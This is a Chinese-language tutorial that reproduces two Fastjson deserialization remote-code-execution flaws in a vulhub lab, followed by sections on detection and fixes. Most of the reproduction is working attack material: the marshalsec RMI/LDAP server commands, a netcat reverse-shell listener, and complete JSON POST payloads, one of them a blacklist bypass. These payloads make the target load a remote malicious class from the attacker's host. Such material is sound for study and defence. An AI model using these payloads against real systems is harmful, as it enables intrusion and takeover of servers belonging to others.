免责声明
本文仅限于学习讨论与技术知识的分享,不得违反当地国家的法律法规。对于传播、利用文章中提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任,一旦造成后果请自行承担!
1、Fastjson介绍
2、漏洞复现
2.1、1.2.24 RCE CVE-2017-18349
-
vulhub启动靶场
启动成功
-
Kali 用marshalsec启动LDAP/RMI服务
- Kali 用python启动HTTP服务,存放恶意类
这是我们的恶意代码
在jdk的bin目录下编译恶意文件
可以通过访问看有没有启动成功
- Kali 用netcat监听端口,建立反弹连接
bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.110.5:8089/#LinuxTouch" 9473
5、发送payload
bash
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 188
{
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://192.168.110.5:9473/LinuxTouch",
"autoCommit": true
}
}
结果
先后连接成功
8090端口接收到了我们发送的payload并进行反序列化,然后去连接到了rmi://192.168.110.5:9473这个服务器,rmi服务器作为一个指路人去8089端口下载恶意文件
2.2、1.2.47 RCE CNVD-2019-22238
绕过原理
在1.2.47版本及以下的情况下,loadClass中默 认cache为true,首先使用java.lang.Class把获取到的类缓存到mapping中,然后直接从缓存 中获取到了com.sun.rowset.jdbcRowSetlmpl这个类,即可绕过黑名单。
- 启动靶场
- kali启动监听
bash
nc -lvp 9001
- Kali 用marshalsec启动LDAP/RMI服务
bash
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.110.5:8089/#LinuxRevers" 9473
- 恶意类,对其进行编译等等。跟上面步骤一样。
- 放入到对应文件夹中并启动http服务
- 发送payload
bash
POST / HTTP/1.1
Host: 192.168.110.16:8090
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 268
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.110.5:9473/LinuxRevers",
"autoCommit":true
}
}
连接成功
3、漏洞原理
1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
3、connect()调用lookup()连接到LDAP/RMI服务器
4、下载恶意代码到本地,执行,攻击发生
4、漏洞挖掘思路
- 找到发送JSON序列化数据的接口
- 判断是否使用fastjon
非法格式报错
{"x":"
Burp 插件
https://github.com/zilong3033/fastjsonScan
5、漏洞修复
- 升级JDK
6u211 / 7u201 / 8u191 /11.0.1 - 升级Fastjson到最新版
fastjson.parser.safeMode=true - 使用安全产品过滤非法内容
- 更换其它序列化工具
Jackson/Gson